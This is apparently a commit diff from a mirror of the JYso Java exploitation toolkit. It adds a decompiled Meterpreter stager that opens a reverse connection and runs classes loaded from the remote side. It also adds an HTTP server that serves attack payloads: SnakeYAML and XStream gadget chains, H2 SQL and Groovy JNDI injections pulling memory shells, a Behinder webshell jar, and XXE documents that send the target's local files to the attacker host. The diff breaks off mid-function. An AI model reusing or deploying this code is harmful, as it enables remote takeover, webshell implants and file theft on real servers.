mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-22 06:50:42 +08:00
chore: delete CB2 CB4
This commit is contained in:
@@ -0,0 +1,138 @@
|
||||
/*
|
||||
* Decompiled with CFR 0.152.
|
||||
*/
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class Meterpreter
|
||||
extends ClassLoader
|
||||
implements Runnable {
|
||||
static /* synthetic */ Class class$0;
|
||||
static /* synthetic */ Class class$1;
|
||||
static /* synthetic */ Class class$2;
|
||||
|
||||
static {
|
||||
|
||||
Meterpreter meterpreter = new Meterpreter();
|
||||
meterpreter.initLhost();
|
||||
meterpreter.run();
|
||||
}
|
||||
|
||||
public String host;
|
||||
public String port;
|
||||
private HashMap parameterMap;
|
||||
|
||||
public static void main(String[] args) {
|
||||
Meterpreter meterpreter = new Meterpreter();
|
||||
meterpreter.run();
|
||||
}
|
||||
|
||||
public void initLhost() {
|
||||
this.host = "";
|
||||
this.port = "";
|
||||
}
|
||||
|
||||
public String toString() {
|
||||
if (this.host != null && this.port != null) {
|
||||
Thread thread = new Thread(this);
|
||||
thread.start();
|
||||
this.parameterMap.put("result", "ok".getBytes());
|
||||
} else {
|
||||
this.parameterMap.put("result", "host or port is null".getBytes());
|
||||
}
|
||||
this.parameterMap = null;
|
||||
return "";
|
||||
}
|
||||
|
||||
public boolean equals(Object paramObject) {
|
||||
try {
|
||||
this.parameterMap = (HashMap) paramObject;
|
||||
this.host = this.get("host");
|
||||
this.port = this.get("port");
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public void getShell() throws Exception {
|
||||
InputStream inputStream1 = null;
|
||||
OutputStream outputStream = null;
|
||||
int j = new Integer(this.port);
|
||||
String str4 = this.host;
|
||||
Socket socket = null;
|
||||
if (str4 != null) {
|
||||
socket = new Socket(str4, j);
|
||||
}
|
||||
inputStream1 = socket.getInputStream();
|
||||
outputStream = socket.getOutputStream();
|
||||
new Meterpreter().bootstrap(inputStream1, outputStream);
|
||||
}
|
||||
|
||||
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
|
||||
try {
|
||||
Class<?> clazz;
|
||||
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
|
||||
int i = dataInputStream.readInt();
|
||||
do {
|
||||
byte[] arrayOfByte = new byte[i];
|
||||
dataInputStream.readFully(arrayOfByte);
|
||||
clazz = this.defineClass(null, arrayOfByte, 0, i);
|
||||
this.resolveClass(clazz);
|
||||
} while ((i = dataInputStream.readInt()) > 0);
|
||||
Object object = clazz.newInstance();
|
||||
Class[] classArray = new Class[3];
|
||||
Class<?> clazz2 = class$0;
|
||||
if (clazz2 == null) {
|
||||
try {
|
||||
clazz2 = class$0 = Class.forName("java.io.DataInputStream");
|
||||
} catch (ClassNotFoundException classNotFoundException) {
|
||||
throw new NoClassDefFoundError(classNotFoundException.getMessage());
|
||||
}
|
||||
}
|
||||
classArray[0] = clazz2;
|
||||
Class<?> clazz3 = class$1;
|
||||
if (clazz3 == null) {
|
||||
try {
|
||||
clazz3 = class$1 = Class.forName("java.io.OutputStream");
|
||||
} catch (ClassNotFoundException classNotFoundException) {
|
||||
throw new NoClassDefFoundError(classNotFoundException.getMessage());
|
||||
}
|
||||
}
|
||||
classArray[1] = clazz3;
|
||||
Class<?> clazz4 = class$2;
|
||||
if (clazz4 == null) {
|
||||
try {
|
||||
clazz4 = class$2 = Class.forName("[Ljava.lang.String;");
|
||||
} catch (ClassNotFoundException classNotFoundException) {
|
||||
throw new NoClassDefFoundError(classNotFoundException.getMessage());
|
||||
}
|
||||
}
|
||||
classArray[2] = clazz4;
|
||||
clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""});
|
||||
} catch (Throwable throwable) {
|
||||
// empty catch block
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
this.getShell();
|
||||
} catch (Exception exception) {
|
||||
System.out.println(exception);
|
||||
// empty catch block
|
||||
}
|
||||
}
|
||||
|
||||
public String get(String key) {
|
||||
try {
|
||||
return new String((byte[]) this.parameterMap.get(key));
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,607 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import cn.hutool.core.io.file.FileReader;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Cache;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.qi4l.JYso.template.CommandTemplate;
|
||||
import com.qi4l.JYso.template.DnslogTemplate;
|
||||
import com.qi4l.JYso.template.ReverseShellTemplate;
|
||||
import com.sun.net.httpserver.HttpExchange;
|
||||
import com.sun.net.httpserver.HttpHandler;
|
||||
import com.sun.net.httpserver.HttpServer;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.commons.lang3.reflect.FieldUtils;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.zip.ZipEntry;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
public class HTTPServer {
|
||||
//获取根目录路径
|
||||
public static String cwd = System.getProperty("user.dir");
|
||||
|
||||
public static void start() throws IOException {
|
||||
|
||||
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
|
||||
httpServer.createContext("/", new HttpHandler() {
|
||||
@Override
|
||||
public void handle(HttpExchange httpExchange) {
|
||||
try {
|
||||
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
|
||||
|
||||
String qi = String.valueOf(httpExchange.getRequestURI());
|
||||
|
||||
|
||||
if (qi.contains("setPathAlias")) {
|
||||
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
|
||||
} else if (qi.contains("setRoute")) {
|
||||
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
|
||||
}
|
||||
|
||||
String path = httpExchange.getRequestURI().getPath();
|
||||
if (path.endsWith(".class")) {
|
||||
handleClassRequest(httpExchange);
|
||||
} else if (path.endsWith(".wsdl")) {
|
||||
handleWSDLRequest(httpExchange);
|
||||
} else if (path.endsWith(".jar")) {
|
||||
handleJarRequest(httpExchange);
|
||||
} else if (path.startsWith("/xxelog")) {
|
||||
handleXXELogRequest(httpExchange);
|
||||
} else if (path.endsWith(".sql")) {
|
||||
handleSQLRequest(httpExchange);
|
||||
} else if (path.endsWith(".groovy")) {
|
||||
handlerGroovyRequest(httpExchange);
|
||||
} else if (path.endsWith(".xml")) {
|
||||
handleXMLRequest(httpExchange);
|
||||
} else if (path.endsWith(".txt")) {
|
||||
handleTXTRequest(httpExchange);
|
||||
} else if (path.endsWith(".yml")) {
|
||||
handleYmlRequest(httpExchange);
|
||||
} else {
|
||||
handleFileRequest(httpExchange);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
httpServer.setExecutor(null);
|
||||
httpServer.start();
|
||||
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
|
||||
}
|
||||
|
||||
private static void handleFileRequest(HttpExchange exchange) throws Exception {
|
||||
System.out.println("[-] 请求的后缀不对");
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
|
||||
File file = new File(filename);
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
FileInputStream fileInputStream = new FileInputStream(file);
|
||||
fileInputStream.read(bytes);
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
}
|
||||
|
||||
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
// String host = exchange.getRequestURI().getHost();
|
||||
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
String bytes = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" +
|
||||
" ]]\n" +
|
||||
"]\n";
|
||||
|
||||
if (YamlName.equalsIgnoreCase("snake")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
// exchange.sendResponseHeaders(200, yaml.getObject().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
// exchange.getResponseBody().write(yaml.getObject("UTF-8"));
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + YamlName + ".yml");
|
||||
if (file.exists()) {
|
||||
byte[] bytes1 = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes1);
|
||||
}
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes1);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
if (txtname.equalsIgnoreCase("isok")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
byte[] bytes = "success!".getBytes();
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + txtname + ".txt");
|
||||
|
||||
if (file.exists()) {
|
||||
|
||||
byte[] bytes1 = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes1);
|
||||
}
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes1);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
// String host = exchange.getRequestURI().getHost();
|
||||
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
|
||||
String xstream = "<linked-hash-set>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString>\n" +
|
||||
" <flags>0</flags>\n" +
|
||||
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
|
||||
" <dataHandler>\n" +
|
||||
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
|
||||
" <is class=\"javax.crypto.CipherInputStream\">\n" +
|
||||
" <cipher class=\"javax.crypto.NullCipher\">\n" +
|
||||
" <initialized>false</initialized>\n" +
|
||||
" <opmode>0</opmode>\n" +
|
||||
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
|
||||
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
|
||||
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
|
||||
" <next class=\"com.sun.rowset.JdbcRowSetImpl\" serialization=\"custom\">\n" +
|
||||
" <javax.sql.rowset.BaseRowSet>\n" +
|
||||
" <default>\n" +
|
||||
" <concurrency>1008</concurrency>\n" +
|
||||
" <escapeProcessing>true</escapeProcessing>\n" +
|
||||
" <fetchDir>1000</fetchDir>\n" +
|
||||
" <fetchSize>0</fetchSize>\n" +
|
||||
" <isolation>2</isolation>\n" +
|
||||
" <maxFieldSize>0</maxFieldSize>\n" +
|
||||
" <maxRows>0</maxRows>\n" +
|
||||
" <queryTimeout>0</queryTimeout>\n" +
|
||||
" <readOnly>true</readOnly>\n" +
|
||||
" <rowSetType>1004</rowSetType>\n" +
|
||||
" <showDeleted>false</showDeleted>\n" +
|
||||
" <dataSource>ldap://" + Config.ip + ":1389/basic/TomcatMemShell3</dataSource>\n" +
|
||||
" <listeners/>\n" +
|
||||
" <params/>\n" +
|
||||
" </default>\n" +
|
||||
" </javax.sql.rowset.BaseRowSet>\n" +
|
||||
" <com.sun.rowset.JdbcRowSetImpl>\n" +
|
||||
" <default>\n" +
|
||||
" <iMatchColumns>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" <int>-1</int>\n" +
|
||||
" </iMatchColumns>\n" +
|
||||
" <strMatchColumns>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" <null/>\n" +
|
||||
" </strMatchColumns>\n" +
|
||||
" </default>\n" +
|
||||
" </com.sun.rowset.JdbcRowSetImpl>\n" +
|
||||
" </next>\n" +
|
||||
" </iter>\n" +
|
||||
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
|
||||
" <method>\n" +
|
||||
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
|
||||
" <name>getDatabaseMetaData</name>\n" +
|
||||
" <parameter-types/>\n" +
|
||||
" </method>\n" +
|
||||
" <name>foo</name>\n" +
|
||||
" </filter>\n" +
|
||||
" <next class=\"string\">foo</next>\n" +
|
||||
" </serviceIterator>\n" +
|
||||
" <lock/>\n" +
|
||||
" </cipher>\n" +
|
||||
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
|
||||
" <ibuffer></ibuffer>\n" +
|
||||
" <done>false</done>\n" +
|
||||
" <ostart>0</ostart>\n" +
|
||||
" <ofinish>0</ofinish>\n" +
|
||||
" <closed>false</closed>\n" +
|
||||
" </is>\n" +
|
||||
" <consumed>false</consumed>\n" +
|
||||
" </dataSource>\n" +
|
||||
" <transferFlavors/>\n" +
|
||||
" </dataHandler>\n" +
|
||||
" <dataLen>0</dataLen>\n" +
|
||||
" </value>\n" +
|
||||
" </jdk.nashorn.internal.objects.NativeString>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||
" <entry>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
|
||||
" </entry>\n" +
|
||||
"</linked-hash-set>";
|
||||
|
||||
if (xmlName.equals("a")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
} else if (xmlName.equals("x")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
|
||||
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + xmlName + ".xml");
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes1 = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes1);
|
||||
}
|
||||
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes1);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
}
|
||||
|
||||
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String host = exchange.getRequestURI().getHost();
|
||||
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
|
||||
if (sqlName.equalsIgnoreCase("echo")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
String name = String.valueOf(System.nanoTime());
|
||||
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
|
||||
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
|
||||
"CALL " + name + "();\"}";
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
} else if (sqlName.equalsIgnoreCase("inject")) {
|
||||
System.out.println("@|green Response Code: |@" + 200);
|
||||
|
||||
String name = String.valueOf(System.nanoTime());
|
||||
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
|
||||
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
|
||||
"CALL " + name + "();\"}";
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
} else {
|
||||
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + sqlName + ".sql");
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes);
|
||||
}
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String host = exchange.getRequestURI().getHost();
|
||||
String exp = "/TomcatBypass/TomcatEcho";
|
||||
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
|
||||
if (groovyName.equalsIgnoreCase("groovyecho")) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
String bytes = "class demo {\n" +
|
||||
" static void main(){\n" +
|
||||
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
|
||||
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
|
||||
" o.setAutoCommit(true);\n" +
|
||||
" }\n" +
|
||||
"}\n";
|
||||
|
||||
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
|
||||
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
|
||||
|
||||
} else {
|
||||
String pa = cwd + File.separator + "data";
|
||||
File file = new File(pa + File.separator + groovyName + ".groovy");
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes);
|
||||
}
|
||||
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length() + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
}
|
||||
|
||||
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
|
||||
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
|
||||
Object request = FieldUtils.readField(exchangeImpl, "req", true);
|
||||
String startLine = (String) FieldUtils.readField(request, "startLine", true);
|
||||
|
||||
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
|
||||
exchange.sendResponseHeaders(200, 0);
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
private static void handleJarRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
|
||||
if (jarName.equalsIgnoreCase("behinder3")) {
|
||||
byte[] bytes;
|
||||
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
|
||||
FileReader fileReader = new FileReader(filename, "UTF-8");
|
||||
bytes = fileReader.readBytes();
|
||||
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
|
||||
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
|
||||
File file = new File(filename);
|
||||
if (file.exists()) {
|
||||
byte[] bytes;
|
||||
FileReader fileReader = new FileReader(filename, "UTF-8");
|
||||
bytes = fileReader.readBytes();
|
||||
exchange.sendResponseHeaders(200, bytes.length + 1);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
|
||||
}
|
||||
|
||||
private static void handleClassRequest(HttpExchange exchange) throws IOException {
|
||||
String path = exchange.getRequestURI().getPath();
|
||||
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
|
||||
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
|
||||
if (Cache.contains(className)) {
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
|
||||
byte[] bytes = Cache.get(className);
|
||||
exchange.sendResponseHeaders(200, bytes.length);
|
||||
exchange.getResponseBody().write(bytes);
|
||||
} else {
|
||||
String pa = cwd + path;
|
||||
File file = new File(pa);
|
||||
|
||||
if (file.exists()) {
|
||||
byte[] bytes = new byte[(int) file.length()];
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file)) {
|
||||
fileInputStream.read(bytes);
|
||||
}
|
||||
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
|
||||
exchange.sendResponseHeaders(200, file.length());
|
||||
exchange.getResponseBody().write(bytes);
|
||||
|
||||
System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200));
|
||||
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
}
|
||||
exchange.close();
|
||||
}
|
||||
|
||||
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
|
||||
String query = exchange.getRequestURI().getQuery();
|
||||
Map<String, String> params = parseQuery(query);
|
||||
|
||||
String path = exchange.getRequestURI().getPath().substring(1);
|
||||
|
||||
if (path.startsWith("list")) {
|
||||
//intended to list directories or read files on server
|
||||
String file = params.get("file");
|
||||
if (file != null && !file.isEmpty()) {
|
||||
String listWsdl = "" +
|
||||
"<!DOCTYPE x [\n" +
|
||||
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
|
||||
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
|
||||
" %bbb;\n" +
|
||||
"]>\n" +
|
||||
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
|
||||
" &ddd;\n" +
|
||||
"</definitions>";
|
||||
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
|
||||
exchange.getResponseBody().write(listWsdl.getBytes());
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
exchange.close();
|
||||
|
||||
} else if (path.startsWith("upload")) {
|
||||
String type = params.get("type");
|
||||
|
||||
String[] args = null;
|
||||
if (type.equalsIgnoreCase("command")) {
|
||||
args = new String[]{params.get("cmd")};
|
||||
} else if (type.equalsIgnoreCase("dnslog")) {
|
||||
args = new String[]{params.get("url")};
|
||||
} else if (type.equalsIgnoreCase("reverseshell")) {
|
||||
args = new String[]{params.get("ip"), params.get("port")};
|
||||
}
|
||||
|
||||
String jarName = createJar(type, args);
|
||||
if (jarName != null) {
|
||||
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
|
||||
"/" + jarName + ".jar!/file.txt\"><a></a>";
|
||||
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
|
||||
exchange.getResponseBody().write(uploadWsdl.getBytes());
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
}
|
||||
exchange.close();
|
||||
} else if (path.startsWith("http")) {
|
||||
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd '<import namespace=\"uri\" location=\"http://" +
|
||||
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>'>'>%ccc;";
|
||||
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
|
||||
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
|
||||
exchange.getResponseBody().write(xxhttp.getBytes());
|
||||
exchange.close();
|
||||
} else {
|
||||
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
|
||||
exchange.sendResponseHeaders(404, 0);
|
||||
exchange.close();
|
||||
}
|
||||
}
|
||||
|
||||
private static Map<String, String> parseQuery(String query) {
|
||||
Map<String, String> params = new HashMap<>();
|
||||
|
||||
try {
|
||||
for (String str : query.split("&")) {
|
||||
try {
|
||||
String[] parts = str.split("=", 2);
|
||||
params.put(parts[0], parts[1]);
|
||||
} catch (Exception e) {
|
||||
//continue
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
//continue
|
||||
}
|
||||
|
||||
return params;
|
||||
}
|
||||
|
||||
/*
|
||||
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
|
||||
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
|
||||
目前暂时认为其不会有问题,如果有问题,后面再修改
|
||||
*/
|
||||
private static String createJar(String type, String... params) throws Exception {
|
||||
byte[] bytes;
|
||||
String className = "xExportObject";
|
||||
|
||||
switch (type.toLowerCase()) {
|
||||
case "command":
|
||||
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
|
||||
bytes = commandTemplate.getBytes();
|
||||
break;
|
||||
case "dnslog":
|
||||
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
|
||||
bytes = dnslogTemplate.getBytes();
|
||||
break;
|
